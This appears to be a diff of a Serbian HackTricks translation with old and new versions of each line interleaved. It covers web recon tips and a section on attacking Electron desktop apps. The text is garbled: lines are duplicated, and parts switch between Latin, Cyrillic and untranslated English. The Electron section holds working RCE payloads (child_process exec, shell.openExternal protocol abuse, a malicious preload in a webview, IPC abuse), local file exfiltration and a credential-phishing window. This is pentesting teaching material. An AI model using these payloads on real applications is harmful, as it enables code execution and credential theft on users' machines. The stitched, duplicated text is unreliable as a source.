- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Proverite komentare svih fajlova, možete pronaći **credentials** ili **skrivenu funkcionalnost**.
- Ako igrate **CTF**, "uobičajeni" trik je da se **informacije sakriju** unutar komentara sa **desne strane** stranice (koristeći stotine razmaka tako da ne vidite podatke ako otvorite source u browser-u). Druga mogućnost je upotreba više novih redova i skrivanje informacija u komentaru na **dnu** web stranice.
- **API keys**: Ako **nađete neki API key**, postoji vodič koji pokazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Ako pronađete API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite kojim API-jima ključ može pristupiti.
- **S3 Buckets**: Tokom spideringa proverite da li je neki **subdomain** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** permisije bucket-a](buckets/index.html).
- **Comments:** Proverite komentare u svim fajlovima — možete naći **credentials** ili **hidden functionality**.
- Ako igrate **CTF**, uobičajeni trik je **sakriti** **informacije** unutar komentara desno u okviru **page** (koristeći **stotine** **space** karaktera tako da ne vidite podatke kad otvorite source u browser-u). Druga mogućnost je upotreba **više novih linija** i **skrivanje informacija** u komentaru na dnu web stranice.
- **API keys**: Ako **pronađete API key** postoji vodič koji pokazuje kako koristiti API ključeve za različite platforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Ako pronađete API key koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-je ključevi mogu da pristupe.
- **S3 Buckets**: Tokom spidering-a proverite da li je neki **subdomain** ili neki **link** povezan sa S3 bucket-om. U tom slučaju, [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
**Tokom** izvođenja **spideringa** i **brute-forcing-a** možete naći **interesantne** **stvari** na koje treba obratiti pažnju.
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Interesting files**
- Tražite **linkove** ka drugim fajlovima unutar **CSS** fajlova.
- [Ako nađete _**.git**_ fajl moguće je izvući neke informacije](git.md)
- Ako nađete _**.env**_ mogu se naći informacije kao što su api keys, lozinke za DB i druge informacije.
- Ako nađete **API endpoint-e** trebalo bi ih [takođe testirati](web-api-pentesting.md). Ovo nisu fajlovi, ali će verovatno "izgledati" kao oni.
- **JS files**: U sekciji spidering-a pomenuto je nekoliko alata koji mogu ekstrahovati path-ove iz JS fajlova. Takođe bi bilo korisno **monitorisati svaki JS fajl koji je nađen**, jer u nekim slučajevima promena može ukazati da je potencijalna ranjivost ubačena u kod. Možete, na primer, koristiti [**JSMon**](https://github.com/robre/jsmon)**.**
- Trebalo bi takođe proveriti otkrivene JS fajlove sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da vidite da li su ranjivi.
- Tražite **linkove** na druge fajlove unutar **CSS** fajlova.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- Ako nađete _**.env**_ fajl, u njemu se mogu naći api ključevi, lozinke za db i druge informacije.
- Ako nađete **API endpoints** trebalo bi da ih [testirate](web-api-pentesting.md). To nisu fajlovi, ali će verovatno "izgledati" kao oni.
- **JS files**: U delu o spidering-u pomenuti su alati koji mogu ekstrahovati putanje iz JS fajlova. Takođe bi bilo korisno **monitorisati svaki JS fajl** koji nađete, jer ponekad promena može ukazati da je uvedena potencijalno ranjiva funkcionalnost. Možete, na primer, koristiti [**JSMon**](https://github.com/robre/jsmon)**.**
- Trebalo bi da proverite otkrivene JS fajlove sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da vidite da li su ranjivi.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- U više slučajeva biće potrebno razumeti korišćene regularne izraze. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
- Takođe možete **monitorisati fajlove gde su detektovane forme**, jer promena parametra ili pojava nove forme može ukazati na potencijalno novu ranjivu funkcionalnost.
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- U više navrata biće potrebno **razumeti regularne izraze** koji se koriste. Ovo će vam pomoći: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
- Takođe možete **monitorisati fajlove gde su detektovani formovi**, jer promena u parametru ili pojava novog forma može ukazivati na novu potencijalno ranjivu funkcionalnost.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -314,28 +314,28 @@ _Imajte na umu da kad god se novi direktorijum otkrije tokom brute-forcing-a ili
**502 Proxy Error**
Ako neka stranica **odgovori** tim **kodom**, verovatno je to **pogrešno konfigurisan proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i ostalim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i tada ste pronašli** SSRF.
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je reč o **pogrešno konfigurisanoj proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da pristupi _**google.com**_ **i time možete naći** SSRF.
**NTLM Authentication - Info disclosure**
Ako server koji zahteva autentifikaciju radi na **Windows-u** ili ako naiđete na login koji traži vaše **credentials** (i traži i **domain** **name**), možete izazvati **otkrivanje informacija**.\
**Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM authentication** radi, server će odgovoriti internim informacijama (IIS verzija, Windows verzija...) u header-u "WWW-Authenticate".\
Ako server koji traži autentifikaciju radi na **Windows** ili nađete login koji traži vaše **credentials** (i traži **domain** **name**), možete izazvati **otkrivanje informacija**.\
**Pošaljite header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina kako **NTLM authentication** funkcioniše, server će odgovoriti internim informacijama (IIS verzija, Windows verzija...) unutar header-a "WWW-Authenticate".\
Možete ovo **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Moguće je **staviti sadržaj** unutar **redirection**. Taj sadržaj **neće biti prikazan korisniku** (pošto će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njoj.
Moguće je **staviti sadržaj** unutar **Redirection**. Taj sadržaj **neće biti prikazan korisniku** (jer browser izvršava redirekciju) ali nešto može biti **sakriveno** unutar nje.
### Web Vulnerabilities Checking
Sada kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri veliki broj mogućih ranjivosti. Checklist možete naći ovde:
Sada kada je obavljena detaljna enumeracija web aplikacije, vreme je da se proveri veliki broj mogućih ranjivosti. Možete naći checklist ovde:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Više informacija o web vulns pogledajte:
Više informacija o web ranjivostima:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -343,7 +343,7 @@ Više informacija o web vulns pogledajte:
### Monitor Pages for changes
Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica zbog izmena koje bi mogle ubaciti ranjivosti.
Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica radi izmena koje mogu ubaciti ranjivosti.
### HackTricks Automatic Commands
```

209
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -1,30 +1,30 @@
# Electron Desktop Apps
# Electron Desktop aplikacije
{{#include ../../../banners/hacktricks-training.md}}
## Introduction
## Uvod
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pretraživača.
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki bezbednosni mehanizmi modernih pregledača.
Obično ćete pronaći kod Electron aplikacije unutar `.asar` aplikacije; da biste dobili kod, potrebno ga je ekstrahovati:
Obično možete pronaći kod Electron aplikacije unutar `.asar` aplikacije; da biste dobili kod, potrebno ga je ekstrahovati:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
U izvornom kodu Electron aplikacije, unutar `packet.json`, možete pronaći navedenu datoteku `main.js` u kojoj su postavljene sigurnosne konfiguracije.
U izvornom kodu Electron aplikacije, u fajlu `packet.json`, možete pronaći navedeni fajl `main.js` u kojem su podešene bezbednosne konfiguracije.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron ima 2 tipa procesa:
Electron има 2 типа процеса:
- Main Process (ima potpuni pristup NodeJS-u)
- Renderer Process (trebalo bi da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)
- Главни процес (има пун приступ NodeJS)
- Рендерер процес (требало би да има ограничен приступ NodeJS из безбедносних разлога)
![](<../../../images/image (182).png>)
Jedan **renderer process** biće prozor pregledača koji učitava fajl:
Рендерер процес ће бити прозор прегледача који учитава фајл:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar fajla main.js. Neka od podešavanja mogu da **spreče Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno podešena**.
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar fajla main.js. Neka od podešavanja mogu **sprečiti da Electron application dobije RCE** ili druge ranjivosti ako su **podešavanja pravilno konfigurisana**.
Electron aplikacija **može pristupiti uređaju** preko Node APIs iako se to može konfigurisati da se to spreči:
Electron application može **pristupiti uređaju** preko Node apis, iako se to može konfigurisati da se spreči:
- **`nodeIntegration`** - po defaultu je `off`. Ako je on, omogućava pristup Node funkcijama iz renderer process.
- **`contextIsolation`** - po defaultu je `on`. Ako je `off`, main i renderer processes nisu izolovani.
- **`nodeIntegration`** - podrazumevano je `off`. Ako je `on`, omogućava pristup Node funkcijama iz renderer process.
- **`contextIsolation`** - podrazumevano je `on`. Ako je `off`, main i renderer processes nisu izolovani.
- **`preload`** - podrazumevano prazan.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - po defaultu je `off`. Ograničiće akcije koje NodeJS može izvršavati.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - po defaultu je `off`.
- Ako je **`nodeIntegration`** **omogućeno**, to bi omogućilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframes** unutar Electron aplikacije.
- Ako je **`nodeIntegration`** **onemogućeno**, preloads će se učitavati u iframe.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - podrazumevano je `off`. Ograničava akcije koje NodeJS može izvršavati.
- Node Integration u Worker-ima
- **`nodeIntegrationInSubframes`** - podrazumevano je `off`.
- Ako je **`nodeIntegration`** **omogućen**, to bi dozvolilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframe-ovima** unutar Electron application.
- Ako je **`nodeIntegration`** **onemogućen**, onda će se preload-ovi učitavati u iframe-u
Example of configuration:
Primer konfiguracije:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Presretanje saobraćaja
Izmenite konfiguraciju start-main i dodajte korišćenje proxy-ja kao na primer:
Izmenite start-main konfiguraciju i dodajte upotrebu proxy-a kao na primer:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron lokalna injekcija koda
## Lokalna injekcija koda u Electronu
Ako možete lokalno izvršiti Electron App, moguće je da ga naterate da izvrši proizvoljni javascript kod. Pogledajte kako u:
Ako možete lokalno pokrenuti Electron App, moguće je da ćete ga naterati da izvrši proizvoljni JavaScript kod. Pogledajte kako u:
{{#ref}}
@ -112,7 +112,7 @@ Ako možete lokalno izvršiti Electron App, moguće je da ga naterate da izvrši
## RCE: XSS + nodeIntegration
Ako je **nodeIntegration** podešen na **on**, JavaScript web stranice može koristiti Node.js mogućnosti jednostavno pozivom `require()`. Na primer, način da se pokrene calc aplikacija na Windowsu je:
Ako je **nodeIntegration** postavljen na **on**, JavaScript web stranice može lako koristiti Node.js funkcije jednostavnim pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windowsu je:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Skript naveden u ovoj postavci je **učitavan pre ostalih skripti u rendereru**, tako da ima **neograničen pristup Node APIs**:
Skript naznačen u ovom podešavanju je **učitan pre ostalih skripti u renderer-u**, pa tako ima **neograničen pristup Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Stoga skripta može eksportovati node-features na stranice:
Dakle, skripta može da izveze node-features u stranice:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -149,20 +149,20 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi**
> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće radati**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i internog JavaScript koda Electron-a** tako da izvršavanje JavaScripta jednog koda ne utiče na drugi. Ovo je neophodna funkcija za eliminisanje mogućnosti RCE.
The _**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i internog JavaScript koda Electron-a** tako da izvršavanje JavaScript koda jedne strane ne utiče na drugu. Ovo je neophodna funkcija kako bi se eliminisala mogućnost RCE.
Ako konteksti nisu izolovani, napadač može:
1. Izvršiti **proizvoljan JavaScript u renderer-u** (XSS ili navigaciju ka eksternim sajtovima)
2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili internom Electron kodu kako bi se preuzela kontrola funkcije
3. **Pokrenuti** upotrebu **prepisane funkcije**
1. Izvršiti **arbitrary JavaScript in renderer** (XSS ili navigacija ka eksternim sajtovima)
2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili u internom Electron kodu da bi preuzeo kontrolu nad funkcijom
3. **Pokrenuti** korišćenje **prepisane funkcije**
4. RCE?
Postoje 2 mesta gde se built-in metode mogu prepisati: u preload kodu ili u internom Electron kodu:
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass click event
### Zaobilaženje događaja klika
Ako su primenjena ograničenja pri kliku na link, možda ih možete zaobići **srednjim klikom** umesto regularnog levog klika
Ako postoje ograničenja koja se primenjuju kada kliknete na link, možda ih možete zaobići **srednjim klikom** umesto regularnog levog klika
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
## RCE putem shell.openExternal
Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Prilikom postavljanja Electron desktop aplikacije, osiguravanje ispravnih podešavanja za `nodeIntegration` i `contextIsolation` je ključno. Utvrđeno je da **client-side remote code execution (RCE)** koja cilja preload skripte ili Electron-ov native kod iz glavnog procesa efikasno biva sprečena kada su ova podešavanja aktivirana.
Prilikom raspoređivanja Electron desktop aplikacije, ključno je osigurati ispravna podešavanja za `nodeIntegration` i `contextIsolation`. Uspostavljeno je da **client-side remote code execution (RCE)** koja cilja preload scripts ili Electron's native code iz main process-a bude efikasno sprečena kada su ova podešavanja aktivna.
Kada korisnik interaguje sa linkovima ili otvori nove prozore, određeni slušači događaja se aktiviraju, koji su ključni za bezbednost i funkcionalnost aplikacije:
Kada korisnik interaguje sa linkovima ili otvori novi prozor, aktiviraju se određeni slušači događaja koji su ključni za bezbednost i funkcionalnost aplikacije:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ovi listeneri su **prepisani od strane desktop aplikacije** da bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li navigirani link treba da se otvori interno ili u eksternom web pretraživaču. Odluka se obično donosi preko funkcije, `openInternally`. Ako ta funkcija vrati `false`, to znači da link treba da se otvori eksterno, koristeći funkciju `shell.openExternal`.
Ovi slušači su **prepisani od strane desktop aplikacije** kako bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li navigacioni link treba da se otvori interno ili u eksternom web pregledaču. Odluka se obično donosi kroz funkciju `openInternally`. Ako ova funkcija vrati `false`, to znači da link treba da se otvori eksterno, koristeći funkciju `shell.openExternal`.
**Evo pojednostavljenog pseudokoda:**
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices savetuju da se ne prihvata nepouzdan sadržaj preko funkcije `openExternal`, jer to može dovesti do RCE preko različitih protokola. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalje objašnjenje na ovu temu, pogledajte [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih da iskoriste ovu ranjivost.
Preporuke za sigurnost Electron JS-a savetuju da se izbegava prihvatanje nepouzdanog sadržaja pomoću funkcije `openExternal`, jer to može dovesti do RCE preko različitih protokola. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalje objašnjenje o ovoj temi, može se pogledati [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobne da iskoriste ovu ranjivost.
Na macos-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, na primer `shell.openExternal('file:///System/Applications/Calculator.app')`.
U macos-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, kao u `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Primeri exploita Windows protokola uključuju:**
**Primeri Windows protocol exploits uključuju:**
```html
<script>
window.open(
@ -230,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Ova vuln se može naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
The **webviewTag** is a **zastarela funkcionalnost** koja omogućava korišćenje **NodeJS** u **renderer process**, i treba da bude onemogućena jer omogućava učitavanje skripte u preload context, kao:
The **webviewTag** is a **zastarela funkcija** koja omogućava upotrebu **NodeJS** u **renderer procesu**, i treba biti onemogućena jer dozvoljava učitavanje skripte unutar preload konteksta, na primer:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Stoga, napadač koji uspe da učita proizvoljnu stranicu mogao bi iskoristiti taj tag da **učita proizvoljan preload skript**.
Dakle, napadač koji uspe da učita proizvoljnu stranicu mogao bi koristiti taj tag da **load an arbitrary preload script**.
Ovaj preload skript je zatim zloupotrebljen da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala **`shell.openExternal`** i omogućila RCE:
Ovaj preload script je potom bio zloupotrebljen da pozove **vulnerable IPC service (`skype-new-window`)** koji je pozivao **`shell.openExternal`** kako bi dobio RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Čitanje internih fajlova: XSS + contextIsolation
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, slično kao `<iframe>`, za čitanje i exfiltrating lokalnih fajlova. Dati primer pokazuje kako iskoristiti ovu ranjivost da se pročita sadržaj internih fajlova:
**Isključivanje `contextIsolation` omogućava upotrebu `<webview>` tagova**, sličnih `<iframe>`, za čitanje i iznošenje lokalnih fajlova. Primer prikazan demonstrira kako iskoristiti ovu ranjivost za čitanje sadržaja internih fajlova:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Dalje, podeljen je još jedan metod za **čitanje internog fajla**, koji ističe kritičnu ranjivost za lokalno čitanje fajlova u Electron desktop app. Ovo uključuje injektovanje skripte radi iskorišćavanja aplikacije i exfiltrate podataka:
Dalje, prikazan je još jedan metod za **čitanje internog fajla**, koji ukazuje na kritičnu lokalnu ranjivost za čitanje fajlova u Electron desktop app. Ovo uključuje ubacivanje skripte da bi se iskoristila aplikacija i izvršila eksfiltracija podataka:
```html
<br /><br /><br /><br />
<h1>
@ -271,41 +271,41 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + stariji chromium**
## **RCE: XSS + Stari Chromium**
Ako je **chromium** koji aplikacija koristi **stariji** i postoje **poznate** **ranjivosti** u njemu, može biti moguće da **iskoristite to i dobijete RCE kroz XSS**.\
Možete videti primer u ovom **writeupu**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Ako je **chromium** koji aplikacija koristi **stari**, i postoje **poznate** **vulnerabilities** na njemu, može biti moguće **eksploatisati ga i dobiti RCE kroz XSS**.\
Primer možete videti u ovom **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing putem internog URL regex bypass**
## **XSS Phishing via Internal URL regex bypass**
Pretpostavimo da ste našli XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove** — možete pokušati da ga iskoristite za **ukrasti pristupne podatke putem phishinga**.
Ako pronađete XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove**, možete pokušati da ga iskoristite za **krađu kredencijala putem phishing-a**.
Pre svega, treba da znate šta se dešava kada pokušate da otvorite novi URL, proverom JS koda u front-endu:
Pre svega, treba da znate šta se dešava kada pokušate da otvorite novu URL adresu, proverom JS koda u front-endu:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Poziv **`openInternally`** odlučuje da li će **link** biti **otvoren** u **desktop prozoru** jer je to link koji pripada platformi, **ili** da li će biti otvoren u **pregledaču kao resurs treće strane**.
Poziv **`openInternally`** odlučuje da li će se **link** **otvoriti** u **desktop window** jer pripada platformi, **ili** će biti otvoren u **browser as a 3rd party resource**.
U slučaju da je **regex** koji funkcija koristi **ranjiv na bypasses** (na primer time što **ne escape-uje tačke poddomena**) attacker bi mogao iskoristiti **XSS** da **otvori novi prozor koji** će biti lociran u infrastrukturi napadača i **tražiti credentials** od korisnika:
U slučaju da je **regex** koji koristi funkcija **vulnerable to bypasses** (na primer **not escaping the dots of subdomains**) napadač bi mogao iskoristiti XSS da **open a new window which** bude lociran na infrastrukturi napadača i **asking for credentials** od korisnika:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protokol
## `file://` Протокол
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **prilagođeni protokol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **прилагођени протокол** спречава овакве проблеме јер можете ограничити протокол да служи само одређени скуп фајлова.
## Remote modul
## Remote module
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
> [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> Иако **remote** module излаже неке APIs из main-а renderer процесима, није једноставно добити RCE само злоупотребом компоненти. Међутим, компоненте могу открити осетљиве информације.
> [!WARNING]
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
> Многе апликације које и даље користе remote module то раде на начин који захтева да **NodeIntegration буде омогућен** у renderer процесу, што је **огроман безбедносни ризик**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
@ -327,30 +327,30 @@ import { dialog, getCurrentWindow } from '@electron/remote'
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
- **`app.relaunch([options])`**
- **Ponovo pokreće** aplikaciju tako što **izlazi** iz trenutne instance i **pokreće** novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
- **Ponovo pokreće** aplikaciju tako što zatvara trenutnu instancu i pokreće novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
- **`app.setAppLogsPath([path])`**
- **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **preuzeti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za specificirani **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi.
- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za navedeni **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi.
- **`app.setUserTasks(tasks)`**
- **Dodaje** zadatke u **Tasks category** u **Jump List** (na Windows). Svaki zadatak može da kontroliše kako se aplikacija **pokreće** ili koji se **argumenti** prosleđuju.
- **Dodaje** zadatke u kategoriju **Tasks** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji **argumenti** se prosleđuju.
- **`app.importCertificate(options, callback)`**
- **Uvozi** PKCS#12 sertifikat u sistemski **certificate store** (samo Linux). Može se koristiti **callback** za obradu rezultata.
- **Uvozi** PKCS#12 sertifikat u sistemski **certificate store** (samo Linux). **Callback** se može koristiti za obradu rezultata.
- **`app.moveToApplicationsFolder([options])`**
- **Premešta** aplikaciju u **Applications folder** (na macOS). Pomaže da se obezbedi **standardna instalacija** za Mac korisnike.
- **Premešta** aplikaciju u fasciklu **Applications** (na macOS). Pomaže da se obezbedi **standardna instalacija** za macOS korisnike.
- **`app.setJumpList(categories)`**
- **Postavlja** ili **uklanja** prilagođeni **Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci prikazuju korisniku.
- **`app.setLoginItemSettings(settings)`**
- **Konfiguriše** koji **izvršni fajlovi** se pokreću pri **prijavi**, zajedno sa njihovim **opcijama** (samo macOS i Windows).
- **Konfiguriše** koji **izvršni fajlovi** se pokreću pri **prijavi** zajedno sa njihovim **opcijama** (samo macOS i Windows).
Primer:
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences modul
